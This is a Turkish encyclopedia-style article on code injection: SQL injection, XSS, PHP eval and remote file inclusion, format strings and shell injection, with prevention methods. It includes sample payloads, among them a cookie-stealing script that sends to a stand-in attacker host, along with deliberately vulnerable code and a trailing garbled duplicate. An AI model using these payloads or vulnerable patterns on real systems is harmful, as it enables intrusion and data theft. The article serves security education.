Kod enjeksiyonu, geçersiz verilerin işlenmesinden kaynaklanan bilgisayar hatasından yararlanmadır. Enjeksiyon, saldırgan tarafından savunmasız bir bilgisayar programına kod enjekte etmek ve yürütmenin seyrini değiştirmek için kullanılır. Başarılı kod eklemenin sonucu felaket olabilir. Örneğin, bilgisayar virüslerinin ya da solucanların yayılmasına izin verilebilir.
Uygulama yorumlayıcıya güvensiz veri gönderdiğinde kod güvenlik açıkları oluşur. Enjeksiyon kusurları sıklıkla SQL, LDAP, XPath, NoSQL sorgularında, işletim sistemi komutlarında, PHP, ASP aplikasyonlarında, XML ayrıştırıcılarında, SMTP başlıklarında, program değişkenlerinde bulunur. Enjeksiyon kusurları kaynak kodu inceleme ile testten daha kolay bir şekilde keşfedilme eğilimindedir. Tarayıcılar ve fuzzer’lar kod enjeksiyonunun bulunmasında yardımcı olabilir.
Enjeksiyon, veri kaybına veya bozulmasına, hesap verilebilirliğin olmamasına veya erişimin engellenmesine sebep olabilir. Enjeksiyon bazen ana bilgisayarın tamamen devralınmasına sebep olabilir.
Kod enjeksiyonu belirli türleri, kullanıcı girdisine özel anlam veren yorumlama hatalarıdır. Benzer yorumlama hataları, komedi rutini Who’s on First gibi bilgisayar bilimi dünyasının dışında da bulunmaktadır. Rutin olarak, özel isimleri normal sözcüklerden ayırt etmede bir başarısızlık vardır.
Kod enjeksiyon teknikleri, bilgi elde etmek için, ayrıcalık yükseltmek veya bir sisteme yetkisiz erişim elde etmek için sistem saldırıları ve kırma işlemlerinde popülerdir. Kod enjeksiyonu, aşağıdakiler de dahil olmak üzere birkaç amaç için kötü niyetli olarak kullanılabilir:
- SQL enjeksiyonu yoluyla bir veritabanındaki değerleri keyfi olarak değiştirme. Bunu etkisi, web sitesi silinmesinden hassas verilerin ciddi şekilde tehlikeye atılmasına kadar değişebilir.
- Sunucu komut dosyası kodunu (PHP veya ASP) gibi ekleme yapılarak bir sunucuya kötü niyetli yazılım yüklemek veya çalıştırmak.
- Microsoft Windows üzerindeki bir servisi kullanarak yerel sistemi veya UNIX üzerindeki setuid kök ikilisi içerisindeki Shell enjeksiyon güvenlik açıklarını kullanarak ayrıcalık yükseltmek.
- Web kullanıcılarına HTML/komut dosyası ekleme. (Siteler arası komut dosyası ekleme).
Kayıtlardaki en yüksek yıl olan 2008’de bildirilen tüm güvenlik açıklarının %5.66’sı kod enjeksiyonu olarak sınıflandırılmıştır. 2015’te bu oran %0.77’ye düşmüştür.
İyi huylu ve kasıtsız kullanım
Kod enjeksiyonu iyi niyetle kullanılabilir, örneğin bir programın ya da sistemin davranışını kod enjeksiyonu yoluyla değiştirme ya da ince ayar yapmak, sistemin herhangi bir kötü niyeti olmaksızın belirli bir şekilde davranmasına sebep olabilir. Örneğin kod yerleştirme,
- Arama sonuçları sayfasının orijinal tasarımında görünmeyen kullanışlı yeni bir sütun eklemek.
- Orijinal tasarımın varsayılan işlevlerinde gösterilmeyen bir alanı kullanarak verileri filtreleme, sıralama veya gruplama için yeni bir yol önermek.
- Dropbox gibi programlarla ilgili olarak, çevrimdışı bir programda çevrimiçi kaynaklara bağlanmak için kullanılabilecek özel parçalar eklemek.
- Belirli bir libc fonksiyonuyla aynı ada sahip bir işlev tanımlayarak bu işlevi bir kütüphane olarak bağlamak ve libc fonksiyonunun kullanımını geçersiz kılmak için Linux Dinamik Bağlayıcı kullanmak.
Bazı kullanıcılar şüphesizce kod enjeksiyonu gerçekleştirebilir çünkü programa sağladıkları girdi, sistemi ilk geliştirenler tarafından dikkate alınmazdı. Örneğin:
- Kullanıcının geçerli bir girdi olarak kabul edebileceği şey, geliştirici tarafından özel bir anlamı olması için ayrılmış belirteç karakteri ya da karakter dizeleri içerebilir. (Belki “Shannon & Jason” için “&” karakteri ya da “Bob ‘Slugger’ McCracken” içerisindeki tırnak işareti)
- Kullanıcı tek bir uygulamada incelikle işlenmiş ancak alıcı sistem için zararlı olan hatalı biçimlendirilmiş bir dosyayı girdi olarak gönderebilir.
Kod enjeksiyonunda bir başka iyi niyetli kullanım ise bu kusurları düzeltmek amacıyla enjeksiyon kusurlarının keşfedilmesi olabilir. Bu beyaz şapka sızma testi olarak bilinir.
Sorunları önleme
Kod enjeksiyonu problemlerini önlemek için, güvenli giriş ve çıkış işlemleri kullanılır. Örneğin:
- API kullanmak. Doğru kullanılırsa tüm giriş karakterlerine karşı güvenlidir. Parametreli sorgular (“Derlenmiş Sorgular”, “Hazırlanmış İfadeler”, “Bağlı Değişkenler” olarak da bilinir.) kullanıcı verilerinin yorumlanacak dize dışına taşınmasına izin verir. Ek olarak Criteria API ve benzeri API’lar, oluşturulan ve yorumlanan komut dizilerinden uzaklaşır.
- Statik tür sistemi aracılığıyla dil ayrımını zorlamak.
- Yalnızca bilinen iyi değerlerin beyaz listeye alınması gibi girdi doğrulaması, örneğin Javascript kullanılarak istemci tarafında yapılabilir ya da daha güvenli olan sunucu tarafında yapılabilir.
- Giriş kodlaması (Tehlikeli karakterlerden kaçınmak). Örneğin PHP’de “htmlspecialchars()” HTML’deki metnin güvenli çıktısı için özel karakterlerden kaçınmak ve “mysqli::real_escape_string()” SQL enjeksiyona karşı koruma sağlamak için bir SQL isteğine dahil edilecek verileri izole etme fonksiyonunu kullanmak.
- Çıktı kodlaması yani web sitesi ziyaretçilerine yönelik HTML Enjeksiyon (XSS) saldırısını önleme.
- “HttpOnly”, HTTP çerezleri için bir bayraktır ve ayarlandığı zaman, çerezler ile sunucu/istemci etkileşimine izin vermez. Böylece belirli XSS saldırıları önlenir.
- Kernel’den modüler kabul ayırma.
- SQL enjeksiyon ile sorunları azaltmaya yardımcı olmak için parametreli sorgular, saklı prosedürler, beyaz liste giriş doğrulaması ve daha fazlası kullanılabilir.
Yukarıda listelenen çözümler, öncelikle web tabanlı HTML veya komut dosyası kodunun bir sunucu tarafı uygulamasına eklenmesiyle ilgilidir. Bununla beraber kullanıcı makinesi üzerindeki kullanıcı kodunun enjeksiyonu ile uğraşırken, ayrıcalık yükseltme saldırılarına neden olan başka yaklaşımlar da alınmalıdır. Yönetilen ve yönetilemeyen kod enjeksiyonlarını algılamak ve izole etmek için kullanılan bazı yaklaşımlar vardır:
- Çalışma zamanı görüntü özet (hash) doğrulaması: Bellek içerisindeki çalıştırılabilir dosyanın bir bölümünün ya da tamamının görüntü özetinin yakalanması ve saklanan ile beklenen özetlerin karşılaştırılması.
- NX Bit: Tüm kullanıcı verileri, çalıştırılamaz olarak işaretli özel bellek bölgelerinde saklanır. İşlemci, belleğin o bölümünde hiç kod olmadığını anlar ve orada bulunan herhangi bir şeyi çalıştırmayı reddeder.
- Kanaryalar (Canaries): Değerlerin rastgele bellek alanlarına yerleştirilmesi. Çalışma zamanında, bir fonksiyon döndüğü zaman, bir kanarya kontrol edilir. Kanarya değiştirilmişse, program çalışmayı durdurur ve çıkış yapar. Bu yığın taşması saldırısında oluşur.
- (C dilinde) Kod İşaretçi (Pointer) Maskeleme (CPM): (Potansiyel olarak değiştirilmiş) bir kod işaretçisini bir kayıt defterine yükledikten sonra işaretçiye bit maskesi uygulanır. Bu işaretçinin gösterdiği adresleri etkili bir şekilde kısıtlar.
Örnekler
SQL enjeksiyonu
SQL enjeksiyonu, bir veritabanını okuyabilen, değiştirebilen veya orijinal sorgunun anlamından taviz verebilen komutları enjekte etmek için SQL sözdiziminden yararlanır.
Örneğin, kullanıcıların kullanıcı adı ve parola girmesi için 2 alanı bulunan bir web sayfası varsayın. Sayfanın arkasındaki kod, kullanıcıların isim listesine göre parolayı kontrol etmek için bir SQL sorgusu oluşturacaktır:
SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'Password'
Eğer sorgu bir satır dönerse erişime izin verilir. Ancak, kötü niyetli bir kullanıcı geçerli bir kullanıcı adı girerse ve parola alanına geçerli bir kod (password' OR '1'='1
) eklerse ortaya çıkan sorgu şu şekilde görünür:
SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'password' OR '1'='1'
Yukarıdaki örnekte, parolanın boş ya da zararsız bir karakter dizisi olduğu varsayılır. "'1'='1'
" daima doğru olacaktır ve çok sayıda satır dönecek, bu sayede erişime izin verilecektir.
Bu teknik, birden çok ifadenin çalışmasına izin verecek, hatta harici programları yükleyip çalıştıracak şekilde iyileştirilebilir.
Aşağıdaki formatta bir sorgu varsayılır:
SELECT User.UserID FROM User WHERE User.UserID = ' " + UserID + " ' AND User.Pwd = ' " + Password + " '
Bir saldırgan aşağıdaki girdilere sahipse:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
sorgu şu şekilde ayrıştırılacaktır:
SELECT User.UserID FROM User WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
Sonuç olarak “User” tablosu veritabanından kaldırılacaktır. Bunun nedeni, “ ; ” sembolü bir komutun sonunu ve yenisinin başlangıcını gösterir. “ -- ” bir yorumun başlangıcını gösterir.
Kod enjeksiyonu, bir uygulamaya kötü amaçlı yazılımın eklenmesidir. Bazı web sunucularında, kullanıcılardan gelen küçük mesajları kabul eden ve genellikle aşağıdaki gibi mesajları alan bir ziyaretçi defteri komut dizisi (script) içerir:
Very nice site!
Ancak kötü niyetli bir kişi, ziyaretçi defterindeki kod enjeksiyon açıklarını bilebilir ve aşağıdai gibi bir mesaj girer:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
Başka bir kullanıcı sayfayı görüntülerse enjekte edilen kod yürütülür. Bu kod, saldırganın başka bir kullanıcının yerine geçmesine izin verir. Fakat aynı yazılım hatası, web sitesinin hatalı HTML kodu görüntülenmesine neden olacak şekilde iyi niyetli bir kullanıcı tarafından yanlışlıkla tetiklenebilir.
HTML ve komut dizisi enjeksiyonu, yaygın olarak “siteler arası komut dosyası çalıştırma” veya “XSS” olarak adlandırılan popüler bir konudur. XSS, kullanıcı girişinin, HTML kodu veya komut dosyası için kontrol edilmeden çıktı HTML koduna bu satırların yerleştirildiği bir enjeksiyon kusurunu ifade eder.
Bu problemlerin çoğu, hangi girdi verilerinin mümkün olduğuna dair hatalı varsayımlara ve özel verilerin etkileriyle ilgilidir.
Dinamik değerlendirme güvenlik açıkları
Bir saldırgan eval()
fonksiyon çağrısına verilen girdi karakter dizisinin bir kısmını ya da tamamını kontrol ettiği zaman, eval()
enjeksiyon güvenlik açığı oluşur.
$myvar = 'somevalue'; $x = $_GET['arg']; eval('$myvar = ' . $x . ';');
“ eval ” parametresi PHP gibi işlenecek, böylece ek komutlar eklenebilir olacaktır. Örneğin, “ arg ” değeri "10; system('/bin/echo uh-oh')
" olarak ayarlanırsa sunucu üzerinde "/bin/echo
" dizininde bir program ek olarak çalıştırılır.
Nesne enjeksiyonu
PHP, tüm nesnelerin serileştirilmesine ve serileştirmenin kaldırılmasına izin verir. Seri durumdan çıkarma fonksiyonunda güvenilmeyen girdilere izin verilirse, programdaki mevcut sınıfların üzerine yazmak ve kötü niyetli saldırılar çalıştırmak mümkün olacaktır. Bunun gibi bir saldırıyı 2013 yılında Joomla’da bulunmuştur.
Uzaktan dosya enjeksiyonu
İstek mesajı içeren bir PHP programı varsayalım:
<?php $color = 'blue'; if (isset($_GET['color'])) $color = $_GET['color']; require($color . '.php');
Bu örnek sadece “blue.php” ve “red.php” gibi okunabilir renk dosyalarını yükleyebilirken, saldırganlar harici bir dosya yüklemeyi COLOR=http://evil.com/exploit
ile sağlayabilirler.
Format belirteci enjeksiyonu
Format dizisi hataları, en yaygın olarak, bir programcının kullanıcı tarafından girilen bir karakter dizisini yazdırmak istediği zaman ortaya çıkar. Programcı yanlışlıkla printf("%s", buffer)
yerine printf(buffer)
yazabilir. İlk versiyonda buffer bir karakter dizisi formatında yorumlanır ve içerdiği herhangi bir formattaki komutları çözümler. İkinci versiyonda buffer ekrana programcının amacına uygun basitçe karakter dizisi yazdırır. Şifreyi yerel “password” karakter dizisinde tutan kısa bir C programı düşünelim. Bu program kullanıcıdan bir tam sayı ve bir karakter dizisi ister. Sonra kullanıcının sağladığı karakter dizisini dışarıya tekrarlar.
char user_input[100]; int int_in; char password[10] = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;
Kullanıcı %s%s%s%s%s%s%s
gibi format belirteçleri kullanarak girdisini doldurursa printf()
komutu yığın (stack)’dan okumaya başlayacaktır. Sonunda, %s format belirteçlerinden biri yığın üzerinde bulunan password
adresine erişecektir ve ekrana Password1
yazdırır.
Kabuk enjeksiyonu
Kabuk (Shell) enjeksiyonu (komut enjeksiyonu) Unix kabuklarından sonra adlandırılır, ancak yazılımın programlı olarak komut satırından çalışmasına izin verilen çoğu sistemde uygulanabilir. Örneğin savunmasız tcsh komut dizisi:
#!/bin/tcsh # check arg outputs it matches if arg is one if ($1 == 1) echo it matches
Yukarıdakiler ./check
çalıştırılabilir dosyası içerisine saklanırsa, ./check " 1 ) evil"
kabuk komutu ile argümanı sabit olanla karşılaştırmak yerine enjekte edilen evil
kabuk komutunu çalıştırmayı deneyecektir. Burada saldırı altındaki kod, parametreyi kontrol etmeye çalışan koddur, yani bir saldırıya karşı savunmak için parametreyi doğruılamaya çalışan koddur.
Bir kabuk komutu oluşturma ve çalıştırmak için kullanılabilecek herhangi bir fonksiyon, bir kabuk enjeksiyon saldırısı başlatmak için potansiyel bir araçtır. Bunlar arasında system()
24 Aralık 2021 tarihinde Wayback Machine sitesinde ., StartProcess()
ve System.Diagnostics.Process.Start()
6 Ocak 2018 tarihinde Wayback Machine sitesinde . vardır.
Web sunucuları ile web tarayıcıları etkileşimi gibi sunucu-istemci sistemleri, kabul enjeksiyonuna karşı potansiyel olarak savunmasızdır. Kullanıcının gönderdiği bir kelimeyi başka bir kelimeyle değiştirmek için çağrılan harici funnytext
programını çalıştırmak amacıyla bir web sunucusunda çalıştırılabilen aşağıdaki kısa PHP programını düşünelim.
<?php passthru("/bin/funnytext " . $_GET['USER_INPUT']);
Yukarıda oluşturulan bir kabuk komutu olan passthru
sonra web sunucusu tarafında yürütülür. Oluşturduğu komutun bir kısmı web tarayıcısı tarafından sağlanan URL’den alındığından, bu URL’in kötü amaçlı kabuk komutları enjekte etmesine izin verir. Çeşitli kabuk özelliklerinin söz diziminden yararlanılarak bu programa kod enjekte edilebilir (bu liste ayrıntılı değildir):
Shell feature | USER_INPUT value | Resulting shell command | Explanation |
---|---|---|---|
Sequential execution | ; malicious_command | /bin/funnytext ; malicious_command | Executes funnytext , then executes malicious_command . |
Pipelines | malicious_command | malicious_command | Sends the output of funnytext as input to malicious_command . |
Command substitution | `malicious_command` | /bin/funnytext `malicious_command` | Sends the output of malicious_command as arguments to funnytext . |
Command substitution | $(malicious_command) | /bin/funnytext $(malicious_command) | Sends the output of malicious_command as arguments to funnytext . |
AND list | && malicious_command | /bin/funnytext && malicious_command | Executes malicious_command iff funnytext returns an exit status of 0 (success). |
OR list | | malicious_command | | malicious_command | Executes malicious_command iff funnytext returns a nonzero exit status (error). |
Output redirection | > ~/.bashrc | /bin/funnytext > ~/.bashrc | Overwrites the contents the .bashrc file with the output of funnytext . |
Input redirection | < ~/.bashrc | /bin/funnytext < ~/.bashrc | Sends the contents of the .bashrc file as input to funnytext . |
Bazı diller kabuk komutlarını oluşturmak için doğru bir şekilde kaçılan ya da alıntı yapılan karakter dizileri için fonksiyonlar önerir:
- PHP:
escapeshellarg()
veescapeshellcmd()
- Python:
shlex.quote()
Ancak bu durum programcılara bu fonksiyonları bilme/öğrenme ve kabuk komutlarını her kullandıklarında bunlardan yararlanmayı hatırlama görevi yükler. Bu fonksiyonların kullanılmasına ek olarak kullanıcı girdisinin doğrulanması ve steril hale getirilmesi önerilir.
Daha güvenli bir alternatif ise harici programları bir kabul yerine doğrudan çalıştıran API’lar kullanmaktır, böylece kabuk enjeksiyonunun olma ihtimalini önler. Ancak, bu API’lar kabuğun kolaylık sağlayan çeşitli özelliklerini destekleme eğiliminde değildirler ve/veya kısa kabuk sözdizimlerine kıyasla daha hantal/ayrıntılı olma eğilimindedir.
Ayrıca bakınız
Kaynakça
- ^ . UPenn ISC (İngilizce). 26 Mart 2020. 3 Kasım 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Aralık 2021.
- ^ . owasp.org (İngilizce). 17 Ocak 2020 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Aralık 2021.
- ^ . nvd.nist.gov. 15 Haziran 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Aralık 2021.
- ^ (PDF). web.archive.org. 24 Nisan 2019 tarihinde kaynağından (PDF) arşivlendi. Erişim tarihi: 26 Aralık 2021.
- ^ Morales, Jose Andre; Kartaltepe, Erhan; Xu, Shouhuai; Sandhu, Ravi (2010). Kotenko, Igor; Skormin, Victor (Ed.). "Symptoms-Based Detection of Bot Processes". Computer Network Security. Lecture Notes in Computer Science (İngilizce). Berlin, Heidelberg: Springer: 229-241. doi:10.1007/978-3-642-14706-7_18. ISBN . 25 Aralık 2021 tarihinde kaynağından . Erişim tarihi: 25 Aralık 2021.
- ^ "Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs". Rafał Cieślak's blog (İngilizce). 2 Nisan 2013. 25 Aralık 2021 tarihinde kaynağından . Erişim tarihi: 26 Aralık 2021.
- ^ . docs.oracle.com. 29 Kasım 2011 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Aralık 2021.
- ^ . blog.moertel.com. 3 Mart 2013 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Aralık 2021.
- ^ . owasp.org (İngilizce). 19 Mart 2020 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Aralık 2021.
- ^ . cheatsheetseries.owasp.org. 16 Temmuz 2019 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Aralık 2021.
- ^ Philippaerts, Pieter; Younan, Yves; Muylle, Stijn; Piessens, F.; Lachmund, Sven; Walter, T. (2013). "CPM: Masking Code Pointers to Prevent Code Injection Attacks". TSEC. doi:10.1145/2487222.2487223. 25 Aralık 2021 tarihinde kaynağından . Erişim tarihi: 25 Aralık 2021.
- ^ Hope, Paco; Walther, Ben (2008). Web security testing cookbook (İngilizce). Sebastopol, Calif.: O'Reilly Media. ISBN . OCLC 297573828.[]
- ^ . seclists.org. 13 Kasım 2009 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Aralık 2021.
- ^ . www.php.net. 29 Mart 2001 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Aralık 2021.
- ^ . karmainsecurity.com. 2 Mart 2013 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Aralık 2021.
- ^ . owasp.org (İngilizce). 24 Şubat 2020 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Aralık 2021.
- ^ . homepage.divms.uiowa.edu. 8 Ocak 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Aralık 2021.
- ^ . archive.ph. 27 Şubat 2015. 26 Aralık 2021 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Aralık 2021.
Dış bağlantılar
- Makale "", Robert Kuster
- Makale "", A. Danehkar
- Makale "", A. Danehkar
- Makale "" by Tadeusz Pietraszek and Chris Vanden Berghe
- Yeni makale "" - Güvenlik duvarından algılanmayı önlemek için kod enjeksiyonu kullanan ilk Truva atı
- The Daily WTF 11 Aralık 2020 tarihinde Wayback Machine sitesinde . - Yazılımda kod enjeksiyonuna karşı gerçek dünyadaki duyarlılık olaylarını düzenli olarak raporlar.
wikipedia, wiki, viki, vikipedia, oku, kitap, kütüphane, kütübhane, ara, ara bul, bul, herşey, ne arasanız burada,hikayeler, makale, kitaplar, öğren, wiki, bilgi, tarih, yukle, izle, telefon için, turk, türk, türkçe, turkce, nasıl yapılır, ne demek, nasıl, yapmak, yapılır, indir, ücretsiz, ücretsiz indir, bedava, bedava indir, mp3, video, mp4, 3gp, jpg, jpeg, gif, png, resim, müzik, şarkı, film, film, oyun, oyunlar, mobil, cep telefonu, telefon, android, ios, apple, samsung, iphone, xiomi, xiaomi, redmi, honor, oppo, nokia, sonya, mi, pc, web, computer, bilgisayar
Kod enjeksiyonu gecersiz verilerin islenmesinden kaynaklanan bilgisayar hatasindan yararlanmadir Enjeksiyon saldirgan tarafindan savunmasiz bir bilgisayar programina kod enjekte etmek ve yurutmenin seyrini degistirmek icin kullanilir Basarili kod eklemenin sonucu felaket olabilir Ornegin bilgisayar viruslerinin ya da solucanlarin yayilmasina izin verilebilir Uygulama yorumlayiciya guvensiz veri gonderdiginde kod guvenlik aciklari olusur Enjeksiyon kusurlari siklikla SQL LDAP XPath NoSQL sorgularinda isletim sistemi komutlarinda PHP ASP aplikasyonlarinda XML ayristiricilarinda SMTP basliklarinda program degiskenlerinde bulunur Enjeksiyon kusurlari kaynak kodu inceleme ile testten daha kolay bir sekilde kesfedilme egilimindedir Tarayicilar ve fuzzer lar kod enjeksiyonunun bulunmasinda yardimci olabilir Enjeksiyon veri kaybina veya bozulmasina hesap verilebilirligin olmamasina veya erisimin engellenmesine sebep olabilir Enjeksiyon bazen ana bilgisayarin tamamen devralinmasina sebep olabilir Kod enjeksiyonu belirli turleri kullanici girdisine ozel anlam veren yorumlama hatalaridir Benzer yorumlama hatalari komedi rutini Who s on First gibi bilgisayar bilimi dunyasinin disinda da bulunmaktadir Rutin olarak ozel isimleri normal sozcuklerden ayirt etmede bir basarisizlik vardir Kod enjeksiyon teknikleri bilgi elde etmek icin ayricalik yukseltmek veya bir sisteme yetkisiz erisim elde etmek icin sistem saldirilari ve kirma islemlerinde populerdir Kod enjeksiyonu asagidakiler de dahil olmak uzere birkac amac icin kotu niyetli olarak kullanilabilir SQL enjeksiyonu yoluyla bir veritabanindaki degerleri keyfi olarak degistirme Bunu etkisi web sitesi silinmesinden hassas verilerin ciddi sekilde tehlikeye atilmasina kadar degisebilir Sunucu komut dosyasi kodunu PHP veya ASP gibi ekleme yapilarak bir sunucuya kotu niyetli yazilim yuklemek veya calistirmak Microsoft Windows uzerindeki bir servisi kullanarak yerel sistemi veya UNIX uzerindeki setuid kok ikilisi icerisindeki Shell enjeksiyon guvenlik aciklarini kullanarak ayricalik yukseltmek Web kullanicilarina HTML komut dosyasi ekleme Siteler arasi komut dosyasi ekleme Kayitlardaki en yuksek yil olan 2008 de bildirilen tum guvenlik aciklarinin 5 66 si kod enjeksiyonu olarak siniflandirilmistir 2015 te bu oran 0 77 ye dusmustur Iyi huylu ve kasitsiz kullanimKod enjeksiyonu iyi niyetle kullanilabilir ornegin bir programin ya da sistemin davranisini kod enjeksiyonu yoluyla degistirme ya da ince ayar yapmak sistemin herhangi bir kotu niyeti olmaksizin belirli bir sekilde davranmasina sebep olabilir Ornegin kod yerlestirme Arama sonuclari sayfasinin orijinal tasariminda gorunmeyen kullanisli yeni bir sutun eklemek Orijinal tasarimin varsayilan islevlerinde gosterilmeyen bir alani kullanarak verileri filtreleme siralama veya gruplama icin yeni bir yol onermek Dropbox gibi programlarla ilgili olarak cevrimdisi bir programda cevrimici kaynaklara baglanmak icin kullanilabilecek ozel parcalar eklemek Belirli bir libc fonksiyonuyla ayni ada sahip bir islev tanimlayarak bu islevi bir kutuphane olarak baglamak ve libc fonksiyonunun kullanimini gecersiz kilmak icin Linux Dinamik Baglayici kullanmak Bazi kullanicilar suphesizce kod enjeksiyonu gerceklestirebilir cunku programa sagladiklari girdi sistemi ilk gelistirenler tarafindan dikkate alinmazdi Ornegin Kullanicinin gecerli bir girdi olarak kabul edebilecegi sey gelistirici tarafindan ozel bir anlami olmasi icin ayrilmis belirtec karakteri ya da karakter dizeleri icerebilir Belki Shannon amp Jason icin amp karakteri ya da Bob Slugger McCracken icerisindeki tirnak isareti Kullanici tek bir uygulamada incelikle islenmis ancak alici sistem icin zararli olan hatali bicimlendirilmis bir dosyayi girdi olarak gonderebilir Kod enjeksiyonunda bir baska iyi niyetli kullanim ise bu kusurlari duzeltmek amaciyla enjeksiyon kusurlarinin kesfedilmesi olabilir Bu beyaz sapka sizma testi olarak bilinir Sorunlari onlemeKod enjeksiyonu problemlerini onlemek icin guvenli giris ve cikis islemleri kullanilir Ornegin API kullanmak Dogru kullanilirsa tum giris karakterlerine karsi guvenlidir Parametreli sorgular Derlenmis Sorgular Hazirlanmis Ifadeler Bagli Degiskenler olarak da bilinir kullanici verilerinin yorumlanacak dize disina tasinmasina izin verir Ek olarak Criteria API ve benzeri API lar olusturulan ve yorumlanan komut dizilerinden uzaklasir Statik tur sistemi araciligiyla dil ayrimini zorlamak Yalnizca bilinen iyi degerlerin beyaz listeye alinmasi gibi girdi dogrulamasi ornegin Javascript kullanilarak istemci tarafinda yapilabilir ya da daha guvenli olan sunucu tarafinda yapilabilir Giris kodlamasi Tehlikeli karakterlerden kacinmak Ornegin PHP de htmlspecialchars HTML deki metnin guvenli ciktisi icin ozel karakterlerden kacinmak ve mysqli real escape string SQL enjeksiyona karsi koruma saglamak icin bir SQL istegine dahil edilecek verileri izole etme fonksiyonunu kullanmak Cikti kodlamasi yani web sitesi ziyaretcilerine yonelik HTML Enjeksiyon XSS saldirisini onleme HttpOnly HTTP cerezleri icin bir bayraktir ve ayarlandigi zaman cerezler ile sunucu istemci etkilesimine izin vermez Boylece belirli XSS saldirilari onlenir Kernel den moduler kabul ayirma SQL enjeksiyon ile sorunlari azaltmaya yardimci olmak icin parametreli sorgular sakli prosedurler beyaz liste giris dogrulamasi ve daha fazlasi kullanilabilir Yukarida listelenen cozumler oncelikle web tabanli HTML veya komut dosyasi kodunun bir sunucu tarafi uygulamasina eklenmesiyle ilgilidir Bununla beraber kullanici makinesi uzerindeki kullanici kodunun enjeksiyonu ile ugrasirken ayricalik yukseltme saldirilarina neden olan baska yaklasimlar da alinmalidir Yonetilen ve yonetilemeyen kod enjeksiyonlarini algilamak ve izole etmek icin kullanilan bazi yaklasimlar vardir Calisma zamani goruntu ozet hash dogrulamasi Bellek icerisindeki calistirilabilir dosyanin bir bolumunun ya da tamaminin goruntu ozetinin yakalanmasi ve saklanan ile beklenen ozetlerin karsilastirilmasi NX Bit Tum kullanici verileri calistirilamaz olarak isaretli ozel bellek bolgelerinde saklanir Islemci bellegin o bolumunde hic kod olmadigini anlar ve orada bulunan herhangi bir seyi calistirmayi reddeder Kanaryalar Canaries Degerlerin rastgele bellek alanlarina yerlestirilmesi Calisma zamaninda bir fonksiyon dondugu zaman bir kanarya kontrol edilir Kanarya degistirilmisse program calismayi durdurur ve cikis yapar Bu yigin tasmasi saldirisinda olusur C dilinde Kod Isaretci Pointer Maskeleme CPM Potansiyel olarak degistirilmis bir kod isaretcisini bir kayit defterine yukledikten sonra isaretciye bit maskesi uygulanir Bu isaretcinin gosterdigi adresleri etkili bir sekilde kisitlar OrneklerSQL enjeksiyonu SQL enjeksiyonu bir veritabanini okuyabilen degistirebilen veya orijinal sorgunun anlamindan taviz verebilen komutlari enjekte etmek icin SQL sozdiziminden yararlanir Ornegin kullanicilarin kullanici adi ve parola girmesi icin 2 alani bulunan bir web sayfasi varsayin Sayfanin arkasindaki kod kullanicilarin isim listesine gore parolayi kontrol etmek icin bir SQL sorgusu olusturacaktir SELECT UserList Username FROM UserList WHERE UserList Username Username AND UserList Password Password Eger sorgu bir satir donerse erisime izin verilir Ancak kotu niyetli bir kullanici gecerli bir kullanici adi girerse ve parola alanina gecerli bir kod password OR 1 1 eklerse ortaya cikan sorgu su sekilde gorunur SELECT UserList Username FROM UserList WHERE UserList Username Username AND UserList Password password OR 1 1 Yukaridaki ornekte parolanin bos ya da zararsiz bir karakter dizisi oldugu varsayilir 1 1 daima dogru olacaktir ve cok sayida satir donecek bu sayede erisime izin verilecektir Bu teknik birden cok ifadenin calismasina izin verecek hatta harici programlari yukleyip calistiracak sekilde iyilestirilebilir Asagidaki formatta bir sorgu varsayilir SELECT User UserID FROM User WHERE User UserID UserID AND User Pwd Password Bir saldirgan asagidaki girdilere sahipse UserID DROP TABLE User Password OR sorgu su sekilde ayristirilacaktir SELECT User UserID FROM User WHERE User UserID DROP TABLE User AND Pwd OR Sonuc olarak User tablosu veritabanindan kaldirilacaktir Bunun nedeni sembolu bir komutun sonunu ve yenisinin baslangicini gosterir bir yorumun baslangicini gosterir Kod enjeksiyonu bir uygulamaya kotu amacli yazilimin eklenmesidir Bazi web sunucularinda kullanicilardan gelen kucuk mesajlari kabul eden ve genellikle asagidaki gibi mesajlari alan bir ziyaretci defteri komut dizisi script icerir Very nice site Ancak kotu niyetli bir kisi ziyaretci defterindeki kod enjeksiyon aciklarini bilebilir ve asagidai gibi bir mesaj girer Nice site I think I ll take it lt script gt window location https some attacker evilcgi cookie cgi steal escape document cookie lt script gt Baska bir kullanici sayfayi goruntulerse enjekte edilen kod yurutulur Bu kod saldirganin baska bir kullanicinin yerine gecmesine izin verir Fakat ayni yazilim hatasi web sitesinin hatali HTML kodu goruntulenmesine neden olacak sekilde iyi niyetli bir kullanici tarafindan yanlislikla tetiklenebilir HTML ve komut dizisi enjeksiyonu yaygin olarak siteler arasi komut dosyasi calistirma veya XSS olarak adlandirilan populer bir konudur XSS kullanici girisinin HTML kodu veya komut dosyasi icin kontrol edilmeden cikti HTML koduna bu satirlarin yerlestirildigi bir enjeksiyon kusurunu ifade eder Bu problemlerin cogu hangi girdi verilerinin mumkun olduguna dair hatali varsayimlara ve ozel verilerin etkileriyle ilgilidir Dinamik degerlendirme guvenlik aciklari Bir saldirgan span class k eval span span class p span fonksiyon cagrisina verilen girdi karakter dizisinin bir kismini ya da tamamini kontrol ettigi zaman span class k eval span span class p span enjeksiyon guvenlik acigi olusur myvar somevalue x GET arg eval myvar x 